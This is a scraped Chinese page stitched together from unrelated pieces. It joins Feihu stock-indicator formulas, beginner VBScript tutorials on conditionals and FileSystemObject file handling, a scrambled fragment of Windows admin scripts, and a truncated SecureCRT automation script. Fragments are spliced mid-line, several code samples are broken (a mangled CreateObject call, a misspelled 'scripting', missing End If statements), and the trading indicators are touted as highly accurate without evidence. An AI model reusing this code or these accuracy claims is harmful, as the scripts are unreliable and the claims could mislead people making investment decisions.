飞狐VBS实例
《飞狐公式编写基础》和《通达信公式教程》(二)
《飞狐公式编写基础》和《通达信公式教程》(二)《飞狐公式编写基础》和《通达信公式教程》(二)2008-12-20 09:51:03新增函数应用:如何遍历板块股票代码PHP代码:--------------------------------------------------------------------------------bk:='深圳A股';variable:j=1,k=0,dm_len=0,lstr[6]='00000',blksum:=STKCOU NT(bk),dmstr[blksum]='';lstr[2]:='0000';lstr[3]:='000';lstr[4]:='00';lstr[5]:='0';lstr[6]:='';while j<=blksum do begindm:=NumToStr(k,0);dm_len:=strlen(dm);dm:=lstr[dm_len]+dm;if stkinblock(dm,bk) then begindmstr[j]:=dm;j:=j+1;end;k:=k+1;end;//以下是一些字符串函数及运算的综合应用EXPLAIN(1,dmstr[1]); //在解盘中,输出深圳A股第1只股票的代码EXPLAIN(1,stknameex(dmstr[2]));//第2只股票的名称EXPLAIN(1,dmstr[3]+stknameex(dmstr[3]));//第3只股票的代码及名称EXPLAIN(1,'深圳A股第4只股票的代码是:'+dmstr[4]);EXPLAIN(1,dmstr[5]+'最后收盘价:'+numtostr(close,2));EXPLAIN(1,'深圳A股共有股票:'+numtostr(blksum,0)+'只');--------------------------------------------------------------------------------如果您有编程的功底,上面代码一看就明白,但对没有编程经验的狐友们来说就不容易了。
飞狐公式
这个指标在软件上用肉眼看失败率非常的高,可是用飞狐软件去测试的话成功率却非常的高,请高手来说说其中的原因,到底是用肉眼看的比较真实还是用飞狐软件测试的真实。
N 20 100 7 M 2 100 5SW1:= (EMA(CLOSE,5)*7+EMA(CLOSE,10)*3)/10;PP:=SUM((CLOSE-SW1)/SW1*100+20,1);GG:=SUM((H-SW1)/SW1*100+20,1);DD:=SUM((L-SW1)/SW1*100+20,1);GC:=SUM(PP-GG,1);DC:=SUM(PP-DD,1);PP1:=SUM(CLOSE-SW1,1);LL:=MA(PP1,8);TT:=(C-SW1)/SW1*100;VAR1:=(CLOSE-LLV(LOW,60))/(HHV(HIGH,60)-LLV(LOW,60))*80;B:=SMA(VAR1,N,1);BB:=SMA(B,M,1);LC :=REF(CLOSE,1);RSI2:=SMA(MAX(CLOSE-LC,0),12,1)/SMA(ABS(CLOSE-LC),12,1)*100;RSI3:=SMA(MAX(CLOSE-LC,0),18,1)/SMA(ABS(CLOSE-LC),18,1)*100;MMS:=MA(3*RSI2-2*SMA(MAX(CLOSE-LC,0),16,1)/SMA(ABS(CLOSE-LC),16,1)*100,3);MM:=EMA(MMS,8);波段启动:IF(CROSS(PP1,LL) AND MM<40 AND BB<40 AND LL<0 ,-15,-20);DB:=IF((TT<-10),-11,-20);底部区域:=REF(DB,1);顶部区域:=IF(CROSS(LL,PP1) AND BB>60 AND MM>70 AND LL>0 ,15,20);STICKLINE(FILTER(波段启动=-15,1) ,-15,-20,7,0),COLORRED;STICKLINE(FILTER(顶部区域=15,1) ,15,20,7,0),COLORGREEN;STICKLINE(FILTER(底部区域=-11,1) ,-11,-20,7,0),COLORYELLOW;明天买入:=IF((GC<-6),-9,-20);明天买入2:=IF((GC<-6 AND BB<40 AND MM<40 ),-9,-20);明天卖出:=IF((DC>6 AND BB>40 AND MM>60),9,20);逢低抢反弹:REF(明天买入,1),COLORYELLOW,LINETHICK1;反弹行情:REF(明天买入2,1),COLORRED,LINETHICK1;风险:REF(明天卖出,1),COLORGREEN,LINETHICK1;DRAWICON(FILTER(反弹行情=-9 AND BB<40 AND MM<40 ,1),-6,10);准确率很高的买入卖出提示指标MMS:=MA(SMA((L+H+2*C)/4-REF((L+H+2*C)/4,1),5,1)/SMA(ABS((L+H+2*C)/4-REF ((L+H+2*C)/4,1)),5,1)*100,1)+50;G1:=IF(-MMS>95,0,20);UOO:=(-(((CLOSE-LLV(CLOSE,7))/(HHV(CLOSE,7)-LLV(CLOSE,7))*100=100)>0 AND G1)+1);{明日均线:=REF(C,2)*2-REF(C,5),LINETHICK0,COLOR550055 ;后日均线:=REF(C,1)*2-REF(C,4),LINETHICK0,COLOR008800;大后天均线:=C*2-REF(C,3),LINETHICK0,COLOR008888;}KS:=(((CLOSE - EMA(CLOSE,13)) / EMA(CLOSE,13)) * (0 - 100));KS1:=IF(BARSCOUNT(C)=1,C/10000,(1-C/SMA(C,13,1))*100);趋势线:=EMA(((KS / 10) + EMA(CLOSE,10)),3);AA:= - 100 * (趋势线- CLOSE) / 趋势线;AC:=(EMA(AA,5) );SSL:=EMA(CLOSE,3);MMV:=EMA(((SLOPE(CLOSE,22) * 20) + CLOSE),55);MM:=MMV;{STICKLINE(((SSL > MM) ),SSL,MM,0.1,0),COLORRED;}SA:=(MM * 0.985);SS:=(MA(CLOSE,5));DD:=(MA(CLOSE,13));GG:=(MA(CLOSE,21));捞钱手:IF(((SSL > MM)),MM,SA),LINETHICK2,COLORWHITE;VAR2Y:=(((CLOSE - REF(CLOSE,1)) / REF(CLOSE,1)) * 100);VAR3Y:=(((CLOSE - REF(OPEN,29)) / REF(OPEN,29)) * 100);VAR4Y:=REF(CLOSE,1);VAR5Y:=((SMA(MAX((CLOSE - VAR4Y),0),6,1) / SMA(ABS((CLOSE - VAR4Y)),6,1)) * 100);VAR6Y:=((SMA(MAX((CLOSE - VAR4Y),0),12,1) / SMA(ABS((CLOSE - VAR4Y)),12,1)) * 100);VAR7Y:=((SMA(MAX((CLOSE - VAR4Y),0),24,1) / SMA(ABS((CLOSE - VAR4Y)),24,1)) * 100);VAR8Y:=(((CLOSE - LLV(LOW,45)) / (HHV(HIGH,45) - LLV(LOW,45))) * 100);VAR9Y:=SMA(VAR8Y,3,1);VARAY:=SMA(VAR9Y,3,1);VARBY:=((3 * VAR9Y) - (2 * VARAY));VARCY:=(CROSS(VAR5Y,10) AND (VAR3Y < (0 - (28 * 20))));VARDY:=((100 - CROSS(76,VAR5Y)) AND (VAR3Y > (5 * 20)));DRAWICON(((CROSS(76,VAR5Y) AND (VAR3Y > 5)) ),(HIGH * 1.01),5),COLORFFFFFF; VAREY:=((((CROSS(VAR9Y,VARAY) AND (VARAY < 10)) AND (VAR3Y < (0 - 30))) AND (VAR2Y > 3)) * 30);VARFY:= - ((((VARAY < 11) AND (VAR5Y < 15)) AND (VAR3Y < (0 - 26))) * 10); DRAWICON((CROSS(VARFY,(0 - 9))),(LOW * 0.998),4);能量线:=DMA(((CLOSE + OPEN) / 2),(VOL / (SMA(VOL,4,1) * 4)));上开:=O;上收:=C;上高:=H;上低:=L;JJ:=(上开+上高+上低)/3;A:=EMA(JJ,4);B:REF(A,1),POINTDOT,COLORYELLOW;智能黄金线:A,COLORYELLOW,LINETHICK1;VA1:=EMA(上收,8);VA2:=EMA(上收,20);DRAWTEXT(CROSS(VA2,VA1),VA1*1.10,'止损'),COLORYELLOW;DRAWTEXT(CROSS(VA1,VA2)AND(C>=O)AND 智能黄金线>REF(智能黄金线,1),VA1*0.96,'买入'),COLOR00FF00;选手A:=MA(上收,3);箱顶A:=MA(REF(HHV(上收,6),1),3);箱底A:=MA(REF(LLV(上收,3),1),3);T1:=MA(上收,20)>=REF(MA(上收,20),1);T2:=CROSS(选手A,箱底A) AND 箱顶A/箱底A>100/100 AND T1;T3:=CROSS(箱顶A,选手A) AND 箱顶A/箱底A>100/100;选手:=MA(上收,2);箱顶:MA(REF(HHV(上收,30),1),2),COLOR0000FF,LINETHICK2;箱底:MA(REF(LLV(上收,30),1),2),COLOR00FF00,LINETHICK2;T4:=CROSS(选手,箱底) AND 箱顶/箱底>110/100;T5:=CROSS(箱顶,选手) AND 箱顶/箱底>110/100;VAR1:=(上收-LLV(上低,27))/(HHV(上高,27)-LLV(上低,27))*100;VAR2:=SMA(VAR1,3,1);VAR3:=SMA(VAR2,3,1);VAR4:=SMA(VAR3,3,1);DRAWTEXT(CROSS(VAR3,VAR4)AND(C>=O)AND VAR3<40 AND UOO>0,箱底,'★'),COLORF00FF0;DRAWTEXT(CROSS(VAR4,VAR3) AND VAR4>75 ,箱顶*1.03,'减磅'),COLORF0F000; VAR111:=CLOSE>REF(CLOSE,1) AND CLOSE>REF(CLOSE,2);VARD:=CLOSE<REF(CLOSE,1)AND CLOSE<REF(CLOSE,2);VARE :=REF(VARD,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2); VARF :=REF(VARE,1) AND CLOSE<=REF(CLOSE,1) AND CLOSE>=REF(CLOSE,2); VAR10 :=REF(VARF,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2); VAR11:=REF(VAR10,1) AND CLOSE<=REF(CLOSE,1) AND CLOSE>=REF(CLOSE,2); VAR12:=REF(VAR11,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2); VAR13:=REF(VAR12,1) AND CLOSE<=REF(CLOSE,1) AND CLOSE>=REF(CLOSE,2); VAR14:=REF(VAR13,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2); VAR15:=REF(VAR14,1) AND CLOSE<=REF(CLOSE,1) AND CLOSE>=REF(CLOSE,2); VAR16:=REF(VAR15,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2); VAR17:=REF(VAR16,1) AND CLOSE<=REF(CLOSE,1) AND CLOSE>=REF(CLOSE,2); VAR18:=REF(VAR17,1) AND CLOSE>=REF(CLOSE,1) AND CLOSE<=REF(CLOSE,2);VAR19:=REF(VARD OR VARE OR VARF OR VAR10 OR VAR11 OR VAR12 OR VAR13 OR VAR14 OR VAR15 ORVAR16 OR VAR17 OR VAR18,1) AND VAR1;趋势线1:=FORCAST(CLOSE,7);FK:=100*(C-REF(C,1))/REF(C,1);PK1:=IF(C<REF(O,1) AND FK<0,1,0);PK2:=IF(C<REF(O,2) AND FK<0,1,0);STICKLINE((PK1=0 AND REF(PK1,1)=1 AND PK2=0 AND REF(PK2,1)=1)AND(趋势线1>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),OPEN,CLOSE,3,0),COLORRED; STICKLINE((PK1=0 AND REF(PK1,1)=1 AND PK2=0 AND REF(PK2,1)=1)AND(趋势线1>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),H,L,0.5,0),COLORRED;PK3:=(((CLOSE / OPEN) > 1.04) AND (CLOSE <(SMA(HIGH,21,2) * 1.05))) AND ((CLOSE - REF(CLOSE,1)) > 0);STICKLINE(PK3 AND(趋势线1>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),CLOSE,OPEN,3,0),COLORRED;STICKLINE(PK3 AND(趋势线1>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),H,L,0.5,0),COLORRED;STICKLINE(VAR19 AND(趋势线>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),CLOSE,OPEN,3,0),COLORRED;STICKLINE(VAR19 AND(趋势线>REF(趋势线1,1)OR 智能黄金线>REF(智能黄金线,1)),H,L,0.5,0),COLORRED;买进价:=((C-REF(MA(C,6),1))/6+MA(C,6))*1.004;买进条件:=CROSS(C,买进价) AND 买进价>REF(买进价,1);STICKLINE(买进条件AND 捞钱手>智能黄金线AND 智能黄金线>REF(智能黄金线,1),L,L*0.998,7,0),COLORWHITE;买线:=EMA(C,2);卖线:=EMA(SLOPE(C,21)*20+C,42);DRAWTEXT(CROSS(买线,卖线)AND 箱顶>=REF(箱顶,1),箱底,'★'),COLOR00FFFF; STICKLINE(CROSS(买线,卖线),OPEN,CLOSE,3,0),COLOR00FFFF;STICKLINE(CROSS(买线,卖线),H,L,0.5,0),COLOR00FFFF;准确率最高的三种炒股指标《转》作者:财金人笔者对中国十年股市运行情况,选择二十五项的指标通过计算机进行运用测试,出人意料的是诸如KDJ、MACD、均线指标、布林指标等著名指标的成功并不是特别高,准确率最高的三种指标分别是Vr、Bias和RSI三个指标,现分别介绍如下:一、vr 指标原理及应用㈠用途:该指标主要的作用在于以成交量的角度测量股价的热度,表现股市的买卖气势,以利于投资者掌握股价可能之趋势走向。
vbs代码大全
vbs代码大全VBScript(Visual Basic Scripting Edition)是一种微软公司开发的脚本语言,它是Visual Basic的一种简化版本,用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本,包括系统管理、网页交互、数据处理等。
在本文中,我们将介绍一些常用的VBS代码,帮助您更好地理解和应用这门语言。
首先,我们来看一段简单的VBS代码,用于在Windows系统上显示一个消息框:```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框,其中包含"Hello, World!"这个消息。
这是一个非常简单的示例,但它展示了VBS代码的基本语法和结构。
接下来,我们将介绍一些更复杂的VBS代码示例,以便更全面地了解这门语言的特性和用法。
在VBScript中,我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例:```vbscript。
Dim num。
num = InputBox("请输入一个数字,")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字,然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法,以及如何处理用户输入的数据。
除了条件语句,VBScript还支持循环结构,可以重复执行特定的代码块。
vbs实例
1、VBS改写、追加文件Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加openFile.Write "Hello World!"openFile.Close2、VBS读取文件ReadAll 读取全部Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadAll)3、VBS读取文件ReadLine 读取一行Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadLine())MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错4、VBS读取文件Read 读取n个字符Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。
vbs if else语句
vbs if else语句VBScript是一种微软开发的脚本语言,可以用于Windows操作系统的自动化任务和脚本编写。
其中的if else语句是一种常用的条件控制语句,用来根据特定条件执行不同的代码块。
下面将列举10个使用VBScript的if else语句的例子,每个例子都能满足上述要求。
1. 判断一个数的正负性:```vbscriptDim numnum = InputBox("请输入一个数字")If num > 0 ThenMsgBox "这是一个正数"ElseIf num < 0 ThenMsgBox "这是一个负数"ElseMsgBox "这是零"End If```2. 判断一个数是否为偶数:```vbscriptDim numIf num Mod 2 = 0 ThenMsgBox "这是一个偶数"ElseMsgBox "这是一个奇数"End If```3. 根据用户输入的年份判断是否为闰年:```vbscriptDim yearyear = InputBox("请输入一个年份")If (year Mod 4 = 0 And year Mod 100 <> 0) Or year Mod 400 = 0 ThenMsgBox "这是一个闰年"ElseMsgBox "这不是一个闰年"End If```4. 根据用户输入的成绩判断等级:```vbscriptDim scoreIf score >= 90 ThenMsgBox "优秀"ElseIf score >= 80 ThenMsgBox "良好"ElseIf score >= 70 ThenMsgBox "中等"ElseIf score >= 60 ThenMsgBox "及格"ElseMsgBox "不及格"End If```5. 判断用户输入的字符串是不是回文串:```vbscriptDim str, istr = InputBox("请输入一个字符串")For i = 1 To Len(str) / 2If Mid(str, i, 1) <> Mid(str, Len(str) - i + 1, 1) Then MsgBox "这不是一个回文串"Exit ForNextIf i > Len(str) / 2 ThenMsgBox "这是一个回文串"End If```6. 根据用户输入的月份判断季节:```vbscriptDim monthmonth = InputBox("请输入一个月份")If month >= 3 And month <= 5 ThenMsgBox "这是春季"ElseIf month >= 6 And month <= 8 Then MsgBox "这是夏季"ElseIf month >= 9 And month <= 11 Then MsgBox "这是秋季"ElseMsgBox "这是冬季"End If```7. 根据用户输入的年龄判断是否成年:Dim ageage = InputBox("请输入一个年龄")If age >= 18 ThenMsgBox "已成年"ElseMsgBox "未成年"End If```8. 根据用户输入的两个数判断大小关系:```vbscriptDim num1, num2num1 = InputBox("请输入第一个数字") num2 = InputBox("请输入第二个数字") If num1 > num2 ThenMsgBox "第一个数字大于第二个数字" ElseIf num1 < num2 ThenMsgBox "第一个数字小于第二个数字" ElseMsgBox "两个数字相等"End If```9. 根据用户输入的年份判断属相:```vbscriptDim yearyear = InputBox("请输入一个年份") Select Case year Mod 12Case 0MsgBox "猴"Case 1MsgBox "鸡"Case 2MsgBox "狗"Case 3MsgBox "猪"Case 4MsgBox "鼠"Case 5MsgBox "牛"Case 6MsgBox "虎"Case 7MsgBox "兔"Case 8MsgBox "龙"Case 9MsgBox "蛇"Case 10MsgBox "马"Case 11MsgBox "羊"End Select```10. 根据用户输入的数字判断星期几:```vbscriptDim dayday = InputBox("请输入一个数字(1-7)") Select Case dayCase 1MsgBox "星期一"Case 2MsgBox "星期二"Case 3MsgBox "星期三"Case 4MsgBox "星期四"Case 5MsgBox "星期五"Case 6MsgBox "星期六"Case 7MsgBox "星期日"End Select```以上是10个使用VBScript的if else语句的例子,分别涵盖了数字判断、字符串判断、条件判断等不同的场景。
飞狐函数大全(含例句)
★飞狐常用函数大全入口[含示意及用法]一.常数函数1.常数函数CAPITAL 流通盘大小用法:CAPITAL,返回流通盘大小,单位为手。
对于A股得到流通A股,B股得到B股总股本,指数为0注意:该函数返回常数CURRENTDATE 计算时的当前日期用法:CURRENTDATE,返回计算时的日期,该日期是从1900年开始的天数,例如2003年8月1日表示为1030801。
注意:该函数返回常数CURRENTTIME 计算时的当前时间返回计算时的时间。
用法:CURRENTTIME,返回计算时的时间,格式为时分秒,有效范围(000000-235959)注意:该函数返回常数DATACOUNT 序列数据量用法ATACOUNT,返回序列数据数量。
注意:该函数返回常数DATAPERIOD 数据周期类型当前数据周期类型。
用法ATAPERIOD。
返回值范围为0-12,分别表示分笔成交(0)、1分钟(1)、5分钟(2)、15分钟(3)、30分钟(4)、60分钟(5)、日(6)、周(7)、月(8)、年(9)、多日(10)、多分钟(11)、多秒(12)LBOUND(X) 序列下界序列最小下标。
用法:LBOUND(X),返回序列X的下界(最小下标),即为第一个有效数据下标,若无有效数据返回0可通过SETLBOUND(X,N)函数设置序列变量X的下界(最小下标)MINDIFF 最小变动价位返回当前证券最小变动价位。
用法:MINDIFF,对于深沪股票为0.01,深沪基金为0.001注意:该函数返回常数STKTYPECATEGORY 证券类型当前证券类型。
用法:STKTYPE返回值范围为0-13,分别表示指数、A股、B股、基金、债券、其它证券、外汇、期货、其它股票、商品现货、选择权、凭证权证、投资指数、板块指数UBOUND(X) 序列上界序列最大下标。
用法:UBOUND(X),返回序列的上界(最大下标)VOLUNIT 每手股数每手股数。
vbs编程必背50个程序
VBS编程必背50个程序什么是VBS编程?VBS,全称为Visual Basic Scripting,是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic,但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件,实现各种任务,如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程?VBS编程是一种非常有用的技能,特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率,简化重复的任务,并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序:1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框,显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为:" & result这个程序会要求你输入两个数字,然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件,并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件,并在其中写入“Hello World!”。
飞狐公式入门
所属类别: 控制语句 参数数量: 0
申明并设置参数 语法: INPUT:pname1(default,min,max,step),pname2(dft,min,max,step)...; pname表示参数名, default表示缺省值,min表示最小值,max表示最大值, step表示优化步长,除default外都可省略。 例如: INPUT:N(5), M(10,1,100,2); 表示定义参数N,缺省值为5 定义参数M,缺省值为10,最小值为1,最大值为100,优化步长为2
ma5:ma(close,n1); ma10:ma(close,n2) ma20:ma(close,n3); ma30:ma(close,n4); ma60:ma(close,n5);
在公式编辑器的参数表中,输入参数n1----n5的最小、最大、缺省值,如下图所示。 为了验证公式代码是否正确,用鼠标左键点“调试公式”按钮,飞狐提示“行3:语句缺少分号”,仔细分析公式代码,原来是第2行少
别名: 简单移动平均 所属类别: 引用函数 参数数量: 2
求简单移动平均。 用法: MA(X,N),求X的N日移动平均值。 算法: (X1+X2+X3+...+Xn)/N 例如: MA(CLOSE,10)表示求10日均价
查询函数ma的注释,也可参考下图方法,只要鼠标移到公式代码中的函数名称处,随时可弹出浮动框获取公式代码中的函 数注释,下图中试试把鼠标移到close处看看会显示什么。
上一页 下一页
file://C:\Documents and Settings\Administrator\Local Settings\Temp\4... 2010-7-7
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
Next
6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
VBS_FSO用法样例
VBS_FSO用法样例创建文件dim fso, fset fso = server.CreateObject("scrīpting.FileSystemObject")set f = fso.CreateT extFile("C:\test.txt", true) '第二个参数表示目标文件存在时是否覆盖f.Write("写入内容")f.WriteLine("写入内容并换行")f.WriteBlankLines(3) '写入三个空白行(相当于在文本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing打开并读文件dim fso, fset fso = server.CreateObject("scrīpting.FileSystemObject")set f = fso.OpenTextFile("C:\test.txt", 1, false) '第二个参数1 表示只读打开,第三个参数表示目标文件不存在时是否创建f.Skip(3) '将当前位置向后移三个字符f.SkipLine() '将当前位置移动到下一行的第一个字符,注意:无参数response.Write f.Read(3) '从当前位置向后读取三个字符,并将当前位置向后移三个字符response.Write f.ReadLine() '从当前位置向后读取直到遇到换行符(不读取换行符),并将当前位置移动到下一行的第一个字符,注意:无参数response.Write f.ReadAll() '从当前位置向后读取,直到文件结束,并将当前位置移动到文件的最后if f.atEndOfLine thenresponse.Write("一行的结尾!")end ifif f.atEndOfStream thenresponse.Write("文件的结尾!")end iff.Close()set f = nothingset fso = nothing打开并写文件dim fso, fset fso = server.CreateObject("scrīpting.FileSystemO bject") set f = fso.OpenTextFile("C:\test.txt", 2, false) '第二个参数2 表示重写,如果是8 表示追加f.Write("写入内容")f.WriteLine("写入内容并换行")f.WriteBlankLines(3) '写入三个空白行(相当于在文本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing判断文件是否存在dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject") if fso.FileExists("C:\test.txt") thenresponse.Write("目标文件存在")elseresponse.Write("目标文件不存在")end ifset fso = nothing移动文件dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject")call fso.MoveFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分可以不同set fso = nothing复制文件dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject")call fso.CopyFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分可以不同set fso = nothing删除文件dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject") fso.DeleteFile("C:\test.txt")set fso = nothing创建文件夹dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject")fso.CreateFolder("C:\test") '目标文件夹的父文件夹必须存在set fso = nothing判断文件夹是否存在dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject")if fso.FolderExists("C:\Windows") thenresponse.Write("目标文件夹存在")elseresponse.Write("目标文件夹不存在")end ifset fso = nothing删除文件夹dim fsoset fso = server.CreateObject("scrīpting.FileSystemObject") fso.DeleteFolder("C:\test") '文件夹不必为空set fso = nothing。
vbs加法运算
vbs加法运算(原创实用版)目录1.VBS 简介2.VBS 加法运算的基本语法3.VBS 加法运算的实例4.VBS 加法运算的注意事项正文一、VBS 简介VBS,即 Visual Basic Script,是 Visual Basic 的一种脚本语言。
它被广泛应用于 Windows 操作系统中的各种任务自动化、调试和编程。
VBS 具有简单易学的特点,用户可以通过编写简单的脚本实现各种复杂的操作。
二、VBS 加法运算的基本语法在 VBS 中,实现加法运算的基本语法如下:```Dim 变量名 1, 变量名 2, 和变量名 1 = 数值 1变量名 2 = 数值 2和 = 变量名 1 + 变量名 2```三、VBS 加法运算的实例下面是一个简单的 VBS 加法运算实例:```vbsDim x, y, zx = 5y = 10z = x + yMsgBox "x + y = " & z```在这个例子中,我们创建了两个变量 x 和 y,分别赋值为 5 和 10。
接着,我们创建了一个新的变量 z,并将 x 和 y 的值相加,结果存储在 z 中。
最后,我们使用 MsgBox 函数弹出一个对话框,显示变量 z 的值。
四、VBS 加法运算的注意事项1.在 VBS 中,实现加法运算时,需要确保操作数为数值类型。
如果操作数不是数值类型,VBS 会报错。
2.在进行加法运算时,建议将操作数存储在变量中,然后再进行运算。
这样可以提高代码的可读性和可维护性。
3.如果需要对大量的数值进行加法运算,可以考虑使用循环结构,以提高代码的执行效率。
通过以上介绍,相信大家对 VBS 加法运算已经有了一定的了解。
SecureCRT脚本(VBS)运行
SecureCRT脚本(VBS)运⾏SecureCRT脚本(VBS)运⾏在SecureCRT运⾏脚本,⾃动收发数据监控记录运⾏状态。
参考:⽰例代码:#$language = "VBScript"#$interface = "1.0"'====本脚本说明:================================================='通信测试:'1、新建⽇志⽂件路径修改LOG_FILE_NAME宏定义的地址'2、使⽤Telnet登陆PPC后运⾏脚本,运⾏⼀段时间后错误信息将⾃动存储到1中定义的⽂本⽂件,若⽆则测试通过。
'const LOG_FILE_NAME="z:\secureCrt-log.txt"'================================================================Sub Main'================================================================crt.Screen.Synchronous = True'--------------------------------Dim erro_cerro_c = 1'----------------------------------------------------------------------------------1'loop'crt.Screen.Synchronous = False'crt.Sleep 1000crt.Screen.Send "d 0xfa050100" & chr(13)crt.Sleep 100crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.waitForString "fa050100: 0000 0002 0002 28b0 0000 ffff"crt.Screen.waitForString "value = 21 = 0x15"crt.Sleep 100'----------------------------------------------------------------------------------2'Do'INTIcrt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0049" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "004E" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0054" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0049" & chr(13)crt.Screen.Send "q" & chr(13)Read1RunRecd'Loop'-------------------------------------------Dim var1'定义循环次数var1=5Const Delay1 = 10Do'----------------------------------------------------------------------------------3'53410000crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0080" & chr(13)erro_c = Read2(erro_c )crt.Sleep Delay1'53410000crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0070" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0000" & chr(13)crt.Screen.Send "q" & chr(13)erro_c = Read2(erro_c )crt.Sleep Delay1'53410000crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0060" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0000" & chr(13)crt.Screen.Send "q" & chr(13)erro_c = Read2(erro_c )crt.Sleep Delay1'53410000crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0050" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0000" & chr(13)crt.Screen.Send "q" & chr(13)erro_c = Read2(erro_c )crt.Sleep Delay1'53410000crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13) crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 